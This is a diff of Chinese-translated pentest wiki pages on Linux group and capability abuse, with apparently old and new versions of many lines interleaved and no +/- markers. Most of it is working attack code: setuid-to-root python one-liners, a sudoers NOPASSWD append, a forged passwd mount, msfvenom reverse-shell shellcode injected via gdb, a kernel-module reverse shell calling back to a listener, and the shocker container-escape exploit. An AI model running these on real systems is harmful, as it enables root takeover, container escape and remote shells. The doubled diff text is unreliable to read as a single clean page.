debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
@ -156,9 +156,9 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。
**tty1** 表示用户 **yossi 正在物理上** 登录到机器上的终端。
**video group** 有权查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
**video group** 有权查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -173,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size
## Root Group
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
**检查root成员可以修改哪些文件**
```bash
@ -199,7 +199,7 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
../docker-security/
{{#endref}}
如果你对 docker socket 有写权限,请阅读[**这篇关于如何利用 docker socket 升级权限的文章**](../#writable-docker-socket)**。**
如果你对 docker socket 有写权限,请阅读[**这篇关于如何通过滥用 docker socket 提升权限的文章**](../index.html#writable-docker-socket)**。**
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
@ -223,6 +223,6 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Auth 组
在 OpenBSD 中,**auth** 组通常可以在 _**/etc/skey**__**/var/db/yubikey**_ 文件夹中写入(如果它们被使用)。\
这些权限可能会被以下漏洞利用,以**升级权限**到 root[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
这些权限可能会被以下漏洞滥用,以**提升权限**到 root[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Linux Capabilities
Linux capabilities 将 **root 权限划分为更小、独立的单元**,允许进程拥有一部分权限。这通过不必要地授予完全的 root 权限来最小化风险。
@ -13,34 +12,34 @@ Linux capabilities 将 **root 权限划分为更小、独立的单元**,允许
### 权限集:
1. **继承 (CapInh)**
1. **Inherited (CapInh)**
- **目的**:确定从父进程传递下来的能力。
- **功能**:当创建新进程时,它从其父进程继承此集合中的能力。对于在进程生成中维护某些权限非常有用。
- **限制**:进程不能获得其父进程未拥有的能力。
2. **有效 (CapEff)**
2. **Effective (CapEff)**
- **目的**:表示进程在任何时刻实际使用的能力。
- **功能**:这是内核检查以授予各种操作权限的能力集合。对于文件,这个集合可以是一个标志,指示文件的允许能力是否被视为有效。
- **重要性**:有效集合对于即时权限检查至关重要,充当进程可以使用的活动能力集合。
3. **允许 (CapPrm)**
3. **Permitted (CapPrm)**
- **目的**:定义进程可以拥有的最大能力集合。
- **功能**:进程可以将允许集合中的能力提升到其有效集合,从而使其能够使用该能力。它也可以从其允许集合中删除能力。
- **功能**:进程可以将权限集合中的能力提升到其有效集合,从而使其能够使用该能力。它还可以从其权限集合中删除能力。
- **边界**:它作为进程可以拥有的能力的上限,确保进程不会超过其预定义的权限范围。
4. **边界 (CapBnd)**
4. **Bounding (CapBnd)**
- **目的**:对进程在其生命周期内可以获得的能力设置上限。
- **功能**:即使进程在其可继承或允许集合中具有某种能力,除非它也在边界集合中,否则无法获得该能力。
- **功能**:即使进程在其可继承或允许集合中具有某种能力,除非它也在边界集合中,否则无法获得该能力。
- **用例**:此集合特别有助于限制进程的权限提升潜力,增加额外的安全层。
5. **环境 (CapAmb)**
5. **Ambient (CapAmb)**
- **目的**:允许某些能力在 `execve` 系统调用中保持,这通常会导致进程能力的完全重置。
- **功能**:确保没有关联文件能力的非 SUID 程序可以保留某些权限。
- **限制**:此集合中的能力受可继承和允许集合的约束,确保它们不超过进程的允许权限。
- **限制**:此集合中的能力受可继承和允许集合的约束,确保它们不超过进程的允许权限。
```python
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
@ -59,7 +58,7 @@ process.preserve_capabilities_across_execve('CapAmb')
### 进程能力
要查看特定进程的能力,请使用 /proc 目录中的 **status** 文件。由于它提供了更多细节,让我们仅限于与 Linux 能力相关的信息。\
要查看特定进程的能力,请使用 /proc 目录中的 **status** 文件。由于它提供了更多细节,我们将其限制为与 Linux 能力相关的信息。\
请注意,对于所有正在运行的进程,能力信息是按线程维护的,对于文件系统中的二进制文件,它存储在扩展属性中。
您可以在 /usr/include/linux/capability.h 中找到定义的能力。
@ -101,7 +100,7 @@ CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
虽然这有效,但还有另一种更简单的方法。要查看正在运行的进程的能力,只需使用 **getpcaps** 工具,后跟其进程 ID (PID)。您还可以提供进程 ID 列表。
虽然这样可以工作,但还有另一种更简单的方法。要查看正在运行的进程的能力,只需使用 **getpcaps** 工具,后其进程 ID (PID)。您还可以提供一个进程 ID 列表。
```bash
getpcaps 1234
```
@ -123,17 +122,17 @@ CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
如您所见,给定的能力与获取二进制文件能力的两种方的结果相对应。\
如您所见,给定的能力与获取二进制文件能力的两种方的结果相对应。\
_getpcaps_ 工具使用 **capget()** 系统调用查询特定线程的可用能力。此系统调用只需要提供 PID 以获取更多信息。
### 二进制文件能力
二进制文件可以具有在执行时可以使用的能力。例如,常见的情况是找到具有 `cap_net_raw` 能力的 `ping` 二进制文件:
二进制文件可以具有在执行时可以使用的能力。例如,找到具有 `cap_net_raw` 能力的 `ping` 二进制文件是非常常见的
```bash
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
```
您可以使用 **search binaries with capabilities**
您可以使用以下方法**搜索具有能力的二进制文件**
```bash
getcap -r / 2>/dev/null
```
@ -173,7 +172,7 @@ cap_net_admin,cap_net_raw jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
```
## 环境能力
## Environment Capabilities
编译以下程序可以**在提供能力的环境中生成一个 bash shell**。
```c:ambient.c
@ -277,15 +276,15 @@ capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
> [!CAUTION]
> 你只能**添加在**允许和继承集合中**存在的能力**。
> 你只能**添加在允许和继承集合中都存在的能力**。
### 能力感知/能力无知的二进制文件
**能力感知的二进制文件不会使用环境赋予的新能力**,然而**能力无知的二进制文件会使用**它们,因为它们不会拒绝这些能力。这使得能力无知的二进制文件在一个授予能力的特殊环境中变得脆弱。
**能力感知的二进制文件不会使用环境赋予的新能力**,然而**能力无知的二进制文件会使用**这些能力,因为它们不会拒绝它们。这使得能力无知的二进制文件在一个授予二进制文件能力的特殊环境中变得脆弱。
## 服务能力
默认情况下,**以root身份运行的服务将被分配所有能力**,在某些情况下这可能是危险的。\
默认情况下,**以 root 身份运行的服务将被分配所有能力**,在某些情况下这可能是危险的。\
因此,**服务配置**文件允许**指定**你希望它拥有的**能力****以及**应该执行该服务的**用户**,以避免以不必要的权限运行服务:
```bash
[Service]
@ -294,7 +293,7 @@ AmbientCapabilities=CAP_NET_BIND_SERVICE
```
## Docker 容器中的能力
默认情况下Docker 为容器分配一些能力。通过运行以下命令,可以很容易地检查这些能力:
默认情况下Docker 为容器分配一些能力。通过运行以下命令,可以很容易地检查这些能力:
```bash
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
@ -311,9 +310,9 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
```
## Privesc/Container Escape
能力在你**想要在执行特权操作后限制自己的进程**时非常有用(例如,在设置 chroot 和绑定到套接字后)。然而,它们可以通过传递恶意命令或参数来被利用,这些命令或参数随后以 root 身份运行。
能力在你**想要在执行特权操作后限制自己的进程**时非常有用(例如,在设置 chroot 和绑定到套接字后)。然而,它们可以通过传递恶意命令或参数来被利用,这些命令或参数随后以 root 身份运行。
你可以使用 `setcap` 强制程序使用能力,并使用 `getcap` 查询这些能力:
你可以使用 `setcap` 强制程序获得能力,并使用 `getcap` 查询这些能力:
```bash
#Set Capability
setcap cap_net_raw+ep /sbin/ping
@ -322,7 +321,7 @@ setcap cap_net_raw+ep /sbin/ping
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
```
`+ep`意味着您正在将能力添加为有效和允许(“-”将删除它)。
`+ep` 表示您正在将能力添加为有效和允许(“-”将移除它)。
要识别系统或文件夹中具有能力的程序:
```bash
@ -338,7 +337,7 @@ setcap cap_setuid+ep /usr/bin/python2.7
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
```
**tcpdump** 所需的 **能力** **允许任何用户嗅探数据包**
**tcpdump**所需的**能力**以**允许任何用户嗅探数据包**
```bash
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
@ -356,7 +355,7 @@ getcap /usr/sbin/tcpdump
## CAP_SYS_ADMIN
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 是一种强大的Linux能力通常被视为接近root级别因为它具有广泛的**管理权限**,例如挂载设备或操纵内核特性。虽然在模拟整个系统的容器中不可或缺,但**`CAP_SYS_ADMIN` 带来了重大的安全挑战**,尤其是在容器化环境中,因为它可能导致特权提升和系统妥协。因此,其使用需要严格的安全评估和谨慎管理,强烈建议在特定应用的容器中放弃此能力,以遵循**最小权原则**并最小化攻击面。
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 是一种非常强大的Linux能力通常被视为接近root级别因为它具有广泛的**管理权限**,例如挂载设备或操纵内核特性。虽然对于模拟整个系统的容器来说是不可或缺的,但**`CAP_SYS_ADMIN` 带来了重大的安全挑战**,尤其是在容器化环境中,因为它可能导致特权提升和系统妥协。因此,其使用需要严格的安全评估和谨慎管理,强烈建议在特定应用的容器中放弃此能力,以遵循**最小权原则**并最小化攻击面。
**带有二进制文件的示例**
```bash
@ -369,7 +368,7 @@ cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
```
最后**挂载**修改`passwd` 文件到 `/etc/passwd`
最后**挂载**修改`passwd` 文件到 `/etc/passwd`
```python
from ctypes import *
libc = CDLL("libc.so.6")
@ -384,7 +383,7 @@ libc.mount(source, target, filesystemtype, mountflags, options)
```
您将能够 **`su` 为 root**,使用密码 "password"。
**带环境的示例Docker 逃逸**
**带环境的示例Docker 突破**
您可以使用以下命令检查 Docker 容器内启用的能力:
```
@ -399,7 +398,7 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
在之前的输出中,您可以看到 SYS_ADMIN 权限已启用。
在之前的输出中,您可以看到 SYS_ADMIN 能力已启用。
- **挂载**
@ -434,7 +433,7 @@ ssh john@172.17.0.1 -p 2222
```
## CAP_SYS_PTRACE
**这意味着您可以通过在主机内部运行的某个进程中注入 shellcode 来逃离容器。** 要访问在主机内部运行的进程,容器需要至少以 **`--pid=host`** 运行。
**这意味着您可以通过在主机内部某个进程中注入 shellcode 来逃离容器。** 要访问在主机内部运行的进程,容器需要至少以 **`--pid=host`** 运行。
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 授予使用 `ptrace(2)` 提供的调试和系统调用跟踪功能的能力,以及像 `process_vm_readv(2)``process_vm_writev(2)` 这样的跨内存附加调用。尽管对于诊断和监控目的非常强大,但如果在没有像 seccomp 过滤器这样的限制措施的情况下启用 `CAP_SYS_PTRACE`,可能会显著削弱系统安全性。具体来说,它可以被利用来规避其他安全限制,特别是 seccomp 强加的限制,正如 [这样的概念证明 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) 所示。
@ -532,11 +531,11 @@ libc.ptrace(PTRACE_DETACH, pid, None, None)
```
**使用二进制的示例 (gdb)**
`gdb` 具有 `ptrace` 能力:
`gdb` `ptrace` 能力:
```
/usr/bin/gdb = cap_sys_ptrace+ep
```
使用 msfvenom 创建一个 shellcode 以通过 gdb 注入内存
使用msfvenom创建一个shellcode通过gdb注入内存
```python
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
@ -560,7 +559,7 @@ chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
```
调试一个 root 进程使用 gdb 并复制粘贴之前生成的 gdb 行:
调试一个 root 进程使用 gdb并复制粘贴之前生成的 gdb 行:
```bash
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
@ -583,9 +582,9 @@ Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
```
**带环境的示例Docker 突破) - 另一个 gdb 滥用**
**示例与环境Docker 突破) - 另一个 gdb 滥用**
如果 **GDB** 已安装(或者你可以通过 `apk add gdb``apt install gdb` 安装它),你可以 **从主机调试一个进程** 并使其调用 `system` 函数。(此技术还需要能力 `SYS_ADMIN`**。**
如果 **GDB** 已安装(或者你可以通过 `apk add gdb``apt install gdb` 安装它,例如),你可以 **从主机调试一个进程** 并使其调用 `system` 函数。(此技术还需要能力 `SYS_ADMIN`**。**
```bash
gdb -p 1234
(gdb) call (void)system("ls")
@ -615,17 +614,17 @@ groups=0(root
列出 **主机** 中运行的 **进程** `ps -eaf`
1. 获取 **架构** `uname -m`
2. 查找适用于该架构的 **shellcode** ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. 查找一个 **程序** **注入** **shellcode** 到进程内存中 ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
2. 查找适该架构的 **shellcode** ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. 查找一个 **程序** **注入** **shellcode** 到进程内存中 ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
4. **修改** 程序中的 **shellcode****编译**`gcc inject.c -o inject`
5. **注入** 并获取你的 **shell**: `./inject 299; nc 172.17.0.1 5600`
## CAP_SYS_MODULE
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 使进程能够 **加载和卸载内核模块 (`init_module(2)`、`finit_module(2)` 和 `delete_module(2)` 系统调用)**,提供对内核核心操作的直接访问。此能力带来了严重的安全风险,因为它允许特权升级和完全系统妥协,通过允许对内核的修改,从而绕过所有 Linux 安全机制,包括 Linux 安全模块和容器隔离。
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 使进程能够 **加载和卸载内核模块`init_module(2)`、`finit_module(2)` 和 `delete_module(2)` 系统调用)**,提供对内核核心操作的直接访问。此能力带来了严重的安全风险,因为它允许特权升级和完全系统妥协,通过允许对内核的修改,从而绕过所有 Linux 安全机制,包括 Linux 安全模块和容器隔离。
**这意味着你可以** **在主机的内核中插入/移除内核模块。**
**带二进制文件的示例**
**带二进制文件的示例**
在以下示例中,二进制文件 **`python`** 拥有此能力。
```bash
@ -649,7 +648,7 @@ km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
```
**示例 2二进制文件**
**示例 2使用二进制文件**
在以下示例中,二进制文件 **`kmod`** 具有此能力。
```bash
@ -675,7 +674,7 @@ groups=0(root)
```
在之前的输出中,您可以看到 **SYS_MODULE** 权限已启用。
**创建** 将执行反向 shell 的 **内核模块** **Makefile****编译** 它:
**创建** 将要执行反向 shell 的 **内核模块** 以及 **Makefile****编译** 它:
```c:reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
@ -719,7 +718,7 @@ ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. S
sudo apt update
sudo apt full-upgrade
```
最后,在一个 shell 中启动 `nc`然后从另一个 shell 中 **加载模块**,你将会在 nc 进程中捕获到 shell
最后,在一个 shell 中启动 `nc`并从另一个 shell 中**加载模块**,你将会在 nc 进程中捕获到 shell
```bash
#Shell 1
nc -lvnp 4444
@ -727,7 +726,7 @@ nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
```
**该技术的代码来自于“滥用 SYS_MODULE 能力”的实验室** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
**该技术的代码来自于“滥用SYS_MODULE能力”的实验室** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
该技术的另一个示例可以在 [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) 中找到。
@ -758,7 +757,7 @@ print(filename)
```python
print(open("/etc/shadow", "r").read())
```
**在环境中的示例Docker 逃逸**
**在环境中的示例Docker 突破**
您可以使用以下命令检查 Docker 容器内启用的能力:
```
@ -773,7 +772,7 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
在之前的输出中,您可以看到 **DAC_READ_SEARCH** 能力已启用。因此,容器可以 **调试进程**
在之前的输出中,您可以看到 **DAC_READ_SEARCH** 权限已启用。因此,容器可以 **调试进程**
您可以在 [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) 学习以下利用的工作原理,但简而言之,**CAP_DAC_READ_SEARCH** 不仅允许我们在没有权限检查的情况下遍历文件系统,还明确移除了对 _**open_by_handle_at(2)**_ 的任何检查,并且 **可能允许我们的进程访问其他进程打开的敏感文件**
@ -928,21 +927,21 @@ return 0;
}
```
> [!WARNING]
> 利用程序需要找到指向主机上某个挂载内容的指针。原始利用程序使用文件 /.dockerinit而这个修改版本使用 /etc/hostname。如果利用程序无法工作,您可能需要设置不同的文件。要找到在主机上挂载的文件,只需执行 mount 命令:
> 利用程序需要找到指向主机上某个挂载内容的指针。原始利用程序使用文件 /.dockerinit而这个修改版本使用 /etc/hostname。如果利用程序不起作用,您可能需要设置不同的文件。要找到在主机上挂载的文件,只需执行 mount 命令:
![](<../../images/image (407) (1).png>)
**技术的代码来自于“滥用 DAC_READ_SEARCH 能力”的实验室** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
**技术的代码来自于“滥用 DAC_READ_SEARCH 能力”的实验室** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
## CAP_DAC_OVERRIDE
**这意味着您可以绕过对任何文件的写入权限检查,因此您可以写入任何文件。**
有很多文件您可以 **覆盖以提升权限,** [**您可以从这里获取灵感**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
有很多文件您可以 **覆盖以提升权限,** [**您可以从这里获取想法**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
**使用二进制文件的示例**
**带有二进制文件的示例**
这个示例中vim 具有此能力,因此您可以修改任何文件,如 _passwd_、_sudoers_ 或 _shadow_
示例中vim 具有此能力,因此您可以修改任何文件,如 _passwd_、_sudoers_ 或 _shadow_
```bash
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
@ -957,7 +956,7 @@ file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
```
**带环境的示例 + CAP_DAC_READ_SEARCH (Docker 逃逸)**
**示例:环境 + CAP_DAC_READ_SEARCHDocker 逃逸)**
您可以使用以下命令检查 Docker 容器内启用的能力:
```bash
@ -972,8 +971,8 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
首先阅读上一节中[**滥用 DAC_READ_SEARCH 能力以读取任意文件**](linux-capabilities.md#cap_dac_read_search)的内容,并**编译**漏洞利用代码。\
然后,**编译以下版本的 shocker 漏洞利用代码**,这将允许您在主机文件系统中**写入任意文件**
首先阅读上一节中关于 [**滥用 DAC_READ_SEARCH 能力以读取任意文件**](linux-capabilities.md#cap_dac_read_search) 的内容,并 **编译** 利用程序。\
然后,**编译以下版本的 shocker 利用程序**,这将允许您在主机文件系统中 **写入任意文件**
```c
#include <stdio.h>
#include <sys/types.h>
@ -1165,9 +1164,9 @@ os.system("/bin/bash")
**这意味着可以设置创建进程的有效组 ID。**
有很多文件可以**覆盖以提升权限,** [**你可以从这里获取灵感**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
有很多文件可以 **覆盖以提升权限,** [**你可以从这里获取灵感**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
**二进制示例**
**二进制文件的示例**
在这种情况下,您应该寻找组可以读取的有趣文件,因为您可以冒充任何组:
```bash
@ -1178,7 +1177,7 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
```
一旦你找到一个可以滥用的文件(通过读取或写入)以提升权限,你可以通过以下方式**获取一个模拟有趣组的 shell**
一旦你找到一个可以滥用的文件(通过读取或写入)以提升权限,你可以**获取一个模拟有趣组的 shell**,使用
```python
import os
os.setgid(42)
@ -1188,13 +1187,13 @@ os.system("/bin/bash")
```bash
cat /etc/shadow
```
如果 **docker** 已安装,您可以 **冒充** **docker 组** 并利用它与 [**docker socket** 进行通信并提升权限](./#writable-docker-socket)。
如果 **docker** 已安装,您可以 **冒充** **docker 组** 并利用它与 [**docker socket** 进行通信并提升权限](#writable-docker-socket)。
## CAP_SETFCAP
**这意味着可以在文件和进程上设置能力**
**带有二进制文件的示例**
**二进制示例**
如果 python 拥有此 **能力**,您可以非常轻松地利用它提升权限到 root
```python:setcapability.py
@ -1224,7 +1223,7 @@ print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7
```
> [!WARNING]
> 注意,如果您使用 CAP_SETFCAP 为二进制文件设置新能力,您将失去此能力。
> 注意,如果您使用 CAP_SETFCAP 为二进制文件设置新能力,您将失去此能力。
一旦您拥有 [SETUID capability](linux-capabilities.md#cap_setuid),您可以查看其部分以了解如何提升权限。
@ -1242,7 +1241,7 @@ CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
```
这个能力允许**将任何其他能力赋予二进制文件**,因此我们可以考虑**利用此页面提到的其他能力突破**来**逃逸**容器。\
这个能力允许**将任何其他能力赋予二进制文件**,因此我们可以考虑**利用本页提到的其他能力突破**来**逃脱**容器。\
然而,如果你尝试例如将能力 CAP_SYS_ADMIN 和 CAP_SYS_PTRACE 赋予 gdb 二进制文件,你会发现你可以赋予它们,但**二进制文件在此之后将无法执行**
```bash
getcap /usr/bin/gdb
@ -1253,17 +1252,17 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
```
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: 这是一个**有效能力的限制超集**,线程可以假设它。它也是一个限制超集,线程可以将其**不具有CAP_SETPCAP**能力的有效集添加到可继承集。_\
看起来Permitted能力限制了可以使用的能力。\
然而Docker默认也授予**CAP_SETPCAP**,因此您可能能够**在可继承的能力中设置新能力**。\
然而,在此能力的文档中_CAP_SETPCAP : \[…] **将调用线程的边界**集中的任何能力添加到其可继承集。_\
看起来我们只能将边界集中的能力添加到可继承集。这意味着**我们不能将新能力如CAP_SYS_ADMIN或CAP_SYS_PTRACE放入继承集中以提升权限**。
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: 这是一个**有效能力的限制超集**,线程可以假定它。它也是一个限制超集,线程可以将其添加到可继承集合的能力,前提是该线程在其有效集合中**没有 CAP_SETPCAP** 能力。_\
看起来 Permitted 能力限制了可以使用的能力。\
然而Docker 默认也授予 **CAP_SETPCAP**,因此您可能能够**在可继承的能力中设置新能力**。\
然而,在该能力的文档中_CAP_SETPCAP : \[…] **将调用线程的边界** 集中的任何能力添加到其可继承集合。_\
看起来我们只能将边界集合中的能力添加到可继承集合。这意味着**我们不能将新能力如 CAP_SYS_ADMIN 或 CAP_SYS_PTRACE 放入继承集合以提升权限**。
## CAP_SYS_RAWIO
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 提供了一些敏感操作,包括访问`/dev/mem``/dev/kmem``/proc/kcore`,修改`mmap_min_addr`,访问`ioperm(2)``iopl(2)`系统调用,以及各种磁盘命令。`FIBMAP ioctl(2)`也通过此能力启用,这在[过去](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)造成了一些问题。根据手册页,这也允许持有者描述性地`对其他设备执行一系列特定于设备的操作`
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 提供了一些敏感操作,包括访问 `/dev/mem``/dev/kmem` `/proc/kcore`,修改 `mmap_min_addr`,访问 `ioperm(2)` `iopl(2)` 系统调用,以及各种磁盘命令。`FIBMAP ioctl(2)` 也通过此能力启用,这在[过去](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)造成了一些问题。根据手册页,这也允许持有者描述性地`对其他设备执行一系列特定于设备的操作`
这对于**权限提升**和**Docker突破**非常有用。
这对于**权限提升**和**Docker 突破**非常有用。
## CAP_KILL
@ -1271,7 +1270,7 @@ bash: /usr/bin/gdb: Operation not permitted
**带有二进制文件的示例**
假设**`python`**二进制文件具有此能力。如果您还可以**修改某些服务或套接字配置**(或与服务相关的任何配置文件)文件,您可以对其进行后门处理,然后终止与该服务相关的进程,并等待新的配置文件与您的后门一起执行
假设 **`python`** 二进制文件具有此能力。如果您还可以**修改某些服务或套接字配置**(或与服务相关的任何配置文件)文件,您可以对其进行后门处理,然后终止与该服务相关的进程,并等待新的配置文件执行您的后门
```python
#Use this python code to kill arbitrary processes
import os
@ -1279,9 +1278,9 @@ import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
```
**使用 kill 进行权限提升**
**使用 kill 提权**
如果你拥有 kill 权限,并且有一个 **以 root 身份运行的 node 程序**(或以其他用户身份运行),你可以 **发送** 给它 **信号 SIGUSR1**,使其 **打开 node 调试器**,你可以在此连接。
如果你拥有 kill 权限,并且有一个 **以 root 身份运行的 node 程序**(或以其他用户身份运行),你可以 **发送** 给它 **信号 SIGUSR1**,使其 **打开 node 调试器**以便你可以连接。
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@ -1290,13 +1289,14 @@ kill -s SIGUSR1 <nodejs-ps>
electron-cef-chromium-debugger-abuse.md
{{#endref}}
## CAP_NET_BIND_SERVICE
**这意味着可以在任何端口上监听(甚至是特权端口)。** 你不能直接通过这个能力提升特权。
**带有二进制的示例**
如果 **`python`** 拥有这个能力,它将能够在任何端口上监听,甚至可以从连接到任何其他端口(某些服务需要从特定特权端口进行连接)
如果 **`python`** 拥有这个能力,它将能够在任何端口上监听,甚至可以从该端口连接到任何其他端口(某些服务需要从特定特权端口进行连接)
{{#tabs}}
{{#tab name="Listen"}}
@ -1335,11 +1335,11 @@ s.connect(('10.10.10.10',500))
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
```
注意,如果**环境**提供了这个能力,你也可以使用**`tcpdump`**来嗅探流量。
请注意,如果**环境**提供了此能力,您也可以使用**`tcpdump`**来嗅探流量。
**二进制示例 2**
**使用二进制 2 的示例**
以下示例是**`python2`**代码,可以用于拦截"**lo**"**localhost**)接口的流量。该代码来自实验"_基础知识CAP-NET_BIND + NET_RAW_",来源于[https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
以下示例是**`python2`**代码,可用于拦截“**lo**”(**localhost**接口的流量。该代码来自实验“_基础知识CAP-NET_BIND + NET_RAW_” [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
```python
import socket
import struct
@ -1385,11 +1385,11 @@ count=count+1
```
## CAP_NET_ADMIN + CAP_NET_RAW
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 权限授予持有者 **更改网络配置** 的能力,包括防火墙设置、路由表、套接字权限和暴露的网络命名空间中的网络接口设置。它还允许在网络接口上启用 **混杂模式**,允许跨命名空间进行数据包嗅探。
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 能力赋予持有者 **更改网络配置** 的权力,包括防火墙设置、路由表、套接字权限和暴露的网络命名空间中的网络接口设置。它还允许在网络接口上启用 **混杂模式**,允许跨命名空间进行数据包嗅探。
